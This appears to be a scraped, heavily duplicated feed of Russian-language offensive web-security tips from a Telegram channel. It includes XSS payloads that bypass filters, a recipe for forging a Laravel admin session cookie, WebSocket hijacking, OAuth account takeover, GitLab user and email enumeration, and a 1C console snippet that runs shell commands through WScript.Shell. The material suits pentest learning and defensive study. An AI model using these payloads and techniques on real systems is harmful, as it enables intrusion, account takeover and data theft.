Если у тебя доступен файл .env в Laravel, но его наличие не дает никаких преимуществ (порты закрыты, например) - можно посмотреть что там в админке.
Раз сервер настроен так хреново, что читается .env, значит и с высокой вероятностью доступна директория
Берешь функцию генерации сессии
@
Находишь самый жирный айдишник из директории
@
Вставляешь секретный токен из .env
@
Генеришь себе cookie администратора
Пример прилагается
Раз сервер настроен так хреново, что читается .env, значит и с высокой вероятностью доступна директория
/storage/framework/sessions/
Берешь функцию генерации сессии
@
Находишь самый жирный айдишник из директории
@
Вставляешь секретный токен из .env
@
Генеришь себе cookie администратора
Пример прилагается
Нет идей, какие уязвимости могут быть в приложении написанном на Golang?
Стоит прочитать пост с примером эксплуатации Request Splitting.
Стоит прочитать пост с примером эксплуатации Request Splitting.
Websocket - это протокол.
Да, он сделан специально для браузера и работает поверх него, но является всего лишь транспортом для обмена данных, а в браузере для него нет каких-то механизмов безопасности, типа CORS.
Атакующий может создать специально сформированную страницу, которая подключается к уязвимому ресурсу при ее открытии. Отправив такую ссылку жертве - возможен перехват данных и любые действия от лица пользователя (смотря, что в ws реализовано).
Если веб-сервер ответил и создал подключение, то подключение произойдет, несмотря на различные заголовки, которые разработчик может попытаться вернуть в ответе, типа
Поэтому, подключать пользователя или нет, решает бэкэнд. Именно он должен определить, является ли пользователь и источник подключения легитимным. Обычно проверяют заголовок
Да, он сделан специально для браузера и работает поверх него, но является всего лишь транспортом для обмена данных, а в браузере для него нет каких-то механизмов безопасности, типа CORS.
Атакующий может создать специально сформированную страницу, которая подключается к уязвимому ресурсу при ее открытии. Отправив такую ссылку жертве - возможен перехват данных и любые действия от лица пользователя (смотря, что в ws реализовано).
Если веб-сервер ответил и создал подключение, то подключение произойдет, несмотря на различные заголовки, которые разработчик может попытаться вернуть в ответе, типа
X-Frame-Options
, Access-Control-Allow-Origin
и вот это всё.Поэтому, подключать пользователя или нет, решает бэкэнд. Именно он должен определить, является ли пользователь и источник подключения легитимным. Обычно проверяют заголовок
Origin
или используют различные секреты (типа CSRF токена). Иногда это уже реализовано в библиотеках, но далеко не во всех. Еще забавно, что куки могут быть удалены, сессионный идентификатор может уже давно умереть, а подключение к вебсокету все еще работать.Иногда, для XSS могут быть особые условия, например, что нельзя использовать некоторые спецсимволы, типа бэктиков и скобок. Поэтому можно поиграться с переопределениями функций.
Например, для PoC подойдет переопределение функции toString, а потом её неявный вызов:
Или интереснее - переопределить ошибку.
Тут мы определили
А тут еще больше примеров в репозитории XSS-Payloads (самый классный все равно innerHTML)
Например, для PoC подойдет переопределение функции toString, а потом её неявный вызов:
toString=alert;window+1
Или интереснее - переопределить ошибку.
onerror=eval;Uncaught=alert;throw'\x28location\x29';
Тут мы определили
Uncaught
как имя функции, в throw
его содержимое (в том числе вызов), onerror
можно переопределить в eval
, а лучше в setTimeout
, дабы всякие WAF'ы не ругались (пример). А тут еще больше примеров в репозитории XSS-Payloads (самый классный все равно innerHTML)
В те времена, когда трава была зеленее, солнце светило ярче, самым крутым браузером был Netscape, а сайты верстали таблицами - не было CORS. Тем более таких штук как postMessage.
Но была крутая фича - имя текущего окна.
Но переменная
Особенно это полезно в случае CSRF + Reflected XSS, когда ты можешь определить name до того, как отправишь жертву на уязвимую ссылку прямо на странице с формой.
Ведь для полноценного выполнения полезной нагрузки достаточно вызвать
Вот примерчик.
Ставим name с alert'ом на одном домене, а выполняем его на другом.
Но была крутая фича - имя текущего окна.
window.name
- переменная, в которую можно записать данные на одном сайте, а прочитать уже на другом. Поэтому, во времена frameset, олдфаги использовали имя окна для полноценного междоменного взаимодействия. Сейчас это, конечно же, легаси.Но переменная
name
все еще доступна! Использование её в рамках одной вкладки позволяет передавать большое количество данных, тем самым минимизируя вектор атаки. А еще на сервере не залогируется, что именно ты выполнил (тоже забавно).Особенно это полезно в случае CSRF + Reflected XSS, когда ты можешь определить name до того, как отправишь жертву на уязвимую ссылку прямо на странице с формой.
Ведь для полноценного выполнения полезной нагрузки достаточно вызвать
eval(name)
(10 байт), а для подключения внешнего скрипта в Chrome import(name)
(12 байт).Вот примерчик.
Ставим name с alert'ом на одном домене, а выполняем его на другом.
При сканировании сети доступен порт tcp/2181? Скорее всего это ZooKeeper - распределенное иерархическое key-value хранилище. Он часто используется для отказоустойчивого хранения конфигураций и сериализованых объектов. Пример эксплуатации уязвимости в ClickHouse через ZooKeeper.
Medium
Why keep you Zoo doors closed
A story of RCE via ZooKeeper and ClickHouse replication protocol (CVE-2019–15024)
Смотри. Иногда есть <input>, но нельзя закрыть тег, как сделать срабатывание javascript без пользовательского действия?
Вот тебе пример.
Самый частый вариант - связка события
...
На самом деле можно поместить в ссылку якорь (не говори эти слова в общественных местах, а то подумают, что с тобой что-то не так).
Якорем называется закладка с уникальным именем на определенном месте веб-страницы, предназначенная для создания перехода к ней по ссылке. Якоря удобно применять в документах большого объема, чтобы можно было быстро переходить к нужному разделу. Например, после перехода по ссылке и загрузки страницы https://en.wikipedia.org/wiki/Wikipedia#Privacy, браузер перейдет к заголовку "Privacy".
Для создания якоря необходимо поместить в URL символ решетки, а за ним значение уникального идентификатора, который задается в атрибуте id. В wikipedia это был
Сослаться можно и на другие html теги, браузер будет сфокусирован на них.
А теперь попробуй в первой ссылке вызвать alert при открытии! Но если надо, то решение тут.
Вот тебе пример.
Самый частый вариант - связка события
onfocus
и autofocus
рушится, если autofocus
стоит в другом месте. А всякие onmouseover
, не подойдут, потому что нужно, чтобы пользователь задел курсором уязвимое поле. ...
На самом деле можно поместить в ссылку якорь (не говори эти слова в общественных местах, а то подумают, что с тобой что-то не так).
Якорем называется закладка с уникальным именем на определенном месте веб-страницы, предназначенная для создания перехода к ней по ссылке. Якоря удобно применять в документах большого объема, чтобы можно было быстро переходить к нужному разделу. Например, после перехода по ссылке и загрузки страницы https://en.wikipedia.org/wiki/Wikipedia#Privacy, браузер перейдет к заголовку "Privacy".
Для создания якоря необходимо поместить в URL символ решетки, а за ним значение уникального идентификатора, который задается в атрибуте id. В wikipedia это был
<span class="mw-headline" id="Privacy">Privacy</span>
.Сослаться можно и на другие html теги, браузер будет сфокусирован на них.
А теперь попробуй в первой ссылке вызвать alert при открытии! Но если надо, то решение тут.
Wikipedia
Wikipedia is a free online encyclopedia written and maintained by a community of volunteers, known as Wikipedians, through open collaboration and the wiki software MediaWiki. Founded by Jimmy Wales and Larry Sanger in 2001, Wikipedia has been hosted since…
Один из классических вопросов на собеседование AppSec специалисту - "Как хранить пароли?". И тут будет потрясающим ответ - "пароли хранить не надо, потому что в 2020 мы не должны запускать сервисы с паролями!". За это можно получить хороший плюс. Но если все-таки вернуться к вопросу, то ожидается ответ в духе:
- Давайте использовать Argon2, PBKDF2, Bcrypt, Scrypt с оптимальным количеством раундов
- И харденинг - например использовать HSM (тут долгие холивары в каком режиме), "pepper" и т.д.
Ответы хранить соленный md5/sha1/sha256/sha512 автоматически ставят жирный минус.
Но также есть еще один вопрос, сложный, и ответ на него мало кто знает - *”А как нам хранить пароли так, что если атакующий получит RCE на бэкендах, в т.ч. root привилегии, то не сможет дампнуть табличку с хэшами?”*
Вопрос ставит в тупик, можно начинать придумывать "security through obscurity" решения, но не надо. Есть очень легкий, понятный и технически верный путь, как решить поставленную задачу. Нам нужно отозвать права "select" у бэкенд юзера на таблицу с хэшами и написать 2 хранимых SQL процедуры:
Вернет «соль» пароля на бэкенд по userId, который пытается войти. Бэкенд возьмет введенный юзером пароль и получит хэш с солью из базы
Возвращает true/false на проверке хэша пароля на предыдущем шаге у user_id
Еще нужна процедура на создание пользователя и смену пароля, но они также не позволяет select'нуть хэши паролей пользователей. Хорошая статья по теме(но там не всё): https://www.secjuice.com/secure-password-handling/
Странно, что ни в одном современном решении - типа WordPress или Django это не реализовано. Да и не надо уже, давайте лучше откажемся от паролей!
- Давайте использовать Argon2, PBKDF2, Bcrypt, Scrypt с оптимальным количеством раундов
- И харденинг - например использовать HSM (тут долгие холивары в каком режиме), "pepper" и т.д.
Ответы хранить соленный md5/sha1/sha256/sha512 автоматически ставят жирный минус.
Но также есть еще один вопрос, сложный, и ответ на него мало кто знает - *”А как нам хранить пароли так, что если атакующий получит RCE на бэкендах, в т.ч. root привилегии, то не сможет дампнуть табличку с хэшами?”*
Вопрос ставит в тупик, можно начинать придумывать "security through obscurity" решения, но не надо. Есть очень легкий, понятный и технически верный путь, как решить поставленную задачу. Нам нужно отозвать права "select" у бэкенд юзера на таблицу с хэшами и написать 2 хранимых SQL процедуры:
getSalt(user_id)
Вернет «соль» пароля на бэкенд по userId, который пытается войти. Бэкенд возьмет введенный юзером пароль и получит хэш с солью из базы
checkPassword(user_id, hashed_password)
Возвращает true/false на проверке хэша пароля на предыдущем шаге у user_id
Еще нужна процедура на создание пользователя и смену пароля, но они также не позволяет select'нуть хэши паролей пользователей. Хорошая статья по теме(но там не всё): https://www.secjuice.com/secure-password-handling/
Странно, что ни в одном современном решении - типа WordPress или Django это не реализовано. Да и не надо уже, давайте лучше откажемся от паролей!
Какой тип содержимого будет, если веб-приложение ответит следующим заголовком?
Этот и другие трюки с различными типами контента можно глянуть тут.
Content-Type: text/plain, xml, text/html, json
Оказывается - html! Некоторые браузеры парсят content-type через запятую и берут последний валидный вариант.Этот и другие трюки с различными типами контента можно глянуть тут.
GitHub
GitHub - BlackFan/content-type-research: Content-Type Research
Content-Type Research. Contribute to BlackFan/content-type-research development by creating an account on GitHub.
Многие знают про различные фичи oauth, благодаря которым уязвимости появляются из-за излишнего доверия к провайдерам. Например, регистрация в одной из соцсетей с полезной нагрузкой (
Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.
'-alert()-'
в качестве имени), когда как при обычной регистрации спецсимволы использовать запрещено.Некоторые сервисы позволяют не подтверждать, например, номер телефона. А в момент регистрации через кнопку “Войти через…” - веб приложение забирает поля пользователя, в том числе и телефон, хоть пользователь не подтвердил его. Войдя через такой аккаунт есть вероятность попасть к одному из клиентов веб-приложения, того самого, чей номер был введен.
А где-то можно не подтверждать email.
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например
Например, популярный ныне сервис Discord. В нем ты можешь завести аккаунт на произвольный email (например
[email protected]
), и не подтверждая email зайти через него на один из сайтов, если веб-приложение будет ему доверять.Gitlab - достаточно популярный продукт для разработки, благодаря self-hosted решению его часто можно встретить на поддоменах компаний. Помимо того, что в нем также присутствует регистрация без подтверждения email’а (смотрим в предыдущие посты), это еще и отличная возможность собрать информацию о сотрудниках.
Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}
На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:
Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании).
По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys
Отдельного упоминания заслуживает avatar_url:
А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
Без аутентификации доступен следующий API метод - gitlab.company.local/api/v4/users/{id}
На самом gitlab - эта ручка также доступна, например https://gitlab.com/api/v4/users/7154957:
{"id":7154957,"name":"Bo0oM","username":"webpwn","state":"active","avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon","web_url":"https://gitlab.com/webpwn","created_at":"2020-09-21T17:25:55.046Z","bio":"","bio_html":"","location":"","public_email":"","skype":"","linkedin":"","twitter":"@i_bo0om.ru","website_url":"https://www.tg-me.com/webpwn","organization":"","job_title":"","work_information":null}
Перебирая идентификаторы, можно за короткое время собрать список логинов (и другую информацию о сотрудниках компании).
По логину также можно узнать открытые ключи - https://gitlab.com/webpwn.keys
Отдельного упоминания заслуживает avatar_url:
”avatar_url":"https://secure.gravatar.com/avatar/4e99709ca6b52f78d02cb92a5bc65d85?s=80\u0026d=identicon”
Сервис gavatar содержит email в пути к изображению - 4e99709ca6b52f78d02cb92a5bc65d85.
Это ни что иное, как md5 от email’а в нижнем регистре.echo -n "[email protected]" | md5
4e99709ca6b52f78d02cb92a5bc65d85
А так как у нас скорее всего корпоративный домен, узнать логины по остальным данным и собрать базу программистов компании будет достаточно просто.
Для тех, кто использует Nominatim (такой движок для геокодинга от OpenStreetMap) в официальных докер-образах: обратите внимание на одну забавную строку.
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
В большинстве случаев ничего страшного не произойдет, так как докеры обычно не торчат наружу. Но мало ли :)
Если ты нашёл server-status, но в нем нет ничего кроме статистики - попробуй добавить к нему параметр full:
Если это PHP-FPM Status Page, то тебе откроются логи запросов.
/server-status?full
Если это PHP-FPM Status Page, то тебе откроются логи запросов.
Что нужно знать, при пентесте 1С
* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на
/ru_RU/e1cib/users
.* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.
1C_RCE.epf
23.9 KB
Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с расширением epf.
В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".
Например:
Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.
Например:
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%");
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());
Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.